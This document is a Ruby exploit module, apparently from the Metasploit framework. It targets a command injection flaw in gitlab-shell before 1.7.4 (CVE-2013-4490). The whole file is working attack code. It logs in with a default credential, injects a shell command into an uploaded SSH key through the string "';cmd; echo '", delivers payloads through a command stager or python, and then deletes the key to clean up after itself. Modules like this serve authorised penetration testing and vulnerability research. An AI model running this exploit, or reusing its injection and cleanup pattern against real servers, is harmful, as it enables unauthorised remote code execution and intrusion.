##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gitlab-shell Code Execution',
        'Description' => %q{
          This module takes advantage of the addition of authorized
          ssh keys in the gitlab-shell functionality of Gitlab. Versions
          of gitlab-shell prior to 1.7.4 used the ssh key provided directly
          in a system call resulting in a command injection vulnerability. As
          this relies on adding an ssh key to an account, valid credentials
          are required to exploit this vulnerability.
        },
        'Author' => [
          'Brandon Knight'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://about.gitlab.com/2013/11/04/gitlab-ce-6-2-and-5-4-security-release/'],
          ['CVE', '2013-4490']
        ],
        'Platform' => 'linux',
        'Targets' => [
          [
            'Linux',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86
            }
          ],
          [
            'Linux (x64)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X64
            }
          ],
          [
            'Unix (CMD)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Payload' =>
                {
                  'Compat' =>
                    {
                      'RequiredCmd' => 'openssl perl python'
                    },
                  'BadChars' => "\x22"
                }
            }
          ],
          [
            'Python',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON,
              'Payload' =>
                {
                  'BadChars' => "\x22"
                }
            }
          ]
        ],
        'CmdStagerFlavor' => %w(bourne printf),
        'DisclosureDate' => '2013-11-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [true, 'The username to authenticate as', 'root']),
        OptString.new('PASSWORD', [true, 'The password for the specified username', '5iveL!fe']),
        OptString.new('TARGETURI', [true, 'The path to Gitlab', '/'])
      ]
    )
  end

  def exploit
    login
    case target['Platform']
    when 'unix'
      execute_command(payload.encoded)
    when 'python'
      execute_command("python -c \\\"#{payload.encoded}\\\"")
    when 'linux'
      execute_cmdstager(temp: './', linemax: 2800)
    end
  end

  def execute_command(cmd, _opts = {})
    key_id = add_key(cmd)
    delete_key(key_id)
  end

  def check
    res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'users', 'sign_in'))
    if res && res.body && res.body.include?('GitLab')
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Unknown
    end
  end

  def login
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    signin_page = normalize_uri(target_uri.path.to_s, 'users', 'sign_in')

    # Get a valid session cookie and authenticity_token for the next step
    res = send_request_cgi(
      'method' => 'GET',
      'cookie' => 'request_method=GET',
      'uri' => signin_page
    )

    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during login") unless res

    local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
    auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]

    if res.body.include? 'user[email]'
      @gitlab_version = 5
      user_field = 'user[email]'
    else
      @gitlab_version = 7
      user_field = 'user[login]'
    end

    # Perform the actual login and get the newly assigned session cookie
    res = send_request_cgi(
      'method' => 'POST',
      'cookie' => local_session_cookie,
      'uri' => signin_page,
      'vars_post' =>
        {
          'utf8' => "\xE2\x9C\x93",
          'authenticity_token' => auth_token,
          "#{user_field}" => username,
          'user[password]' => password,
          'user[remember_me]' => 0
        }
    )

    fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res && res.code == 302

    @session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]

    fail_with(Failure::NoAccess, "#{peer} - Unable to get session cookie") if @session_cookie.nil?
  end

  def add_key(cmd)
    if @gitlab_version == 5
      @key_base = normalize_uri(target_uri.path.to_s, 'keys')
    else
      @key_base = normalize_uri(target_uri.path.to_s, 'profile', 'keys')
    end

    # Perform an initial request to get an authenticity_token so the actual
    # key addition can be done successfully.
    res = send_request_cgi(
      'method' => 'GET',
      'cookie' => "request_method=GET; #{@session_cookie}",
      'uri' => normalize_uri(@key_base, 'new')
    )

    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res

    auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
    title = rand_text_alphanumeric(16)
    key_info = rand_text_alphanumeric(6)

    # Generate a random ssh key
    key = OpenSSL::PKey::RSA.new 2048
    type = key.ssh_type
    data = [key.to_blob].pack('m0')

    openssh_format = "#{type} #{data}"

    # Place the payload in to the key information to perform the command injection
    key = "#{openssh_format} #{key_info}';#{cmd}; echo '"

    res = send_request_cgi(
      'method' => 'POST',
      'cookie' => "request_method=GET; #{@session_cookie}",
      'uri' => @key_base,
      'vars_post' =>
        {
          'utf8' => "\xE2\x9C\x93",
          'authenticity_token' => auth_token,
          'key[title]' => title,
          'key[key]' => key
        }
    )

    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res

    # Get the newly added key id so it can be used for cleanup
    key_id = res.headers['Location'].split('/')[-1]

    key_id
  end

  def delete_key(key_id)
    res = send_request_cgi(
      'method' => 'GET',
      'cookie' => "request_method=GET; #{@session_cookie}",
      'uri' => @key_base
    )

    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res

    auth_token = res.body.scan(/<meta content="(.*?)" name="csrf-token"/).flatten[0]

    # Remove the key which was added to clean up after ourselves
    res = send_request_cgi(
      'method' => 'POST',
      'cookie' => "#{@session_cookie}",
      'uri' => normalize_uri("#{@key_base}", "#{key_id}"),
      'vars_post' =>
      {
        '_method' => 'delete',
        'authenticity_token' => auth_token
      }
    )

    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
  end
end
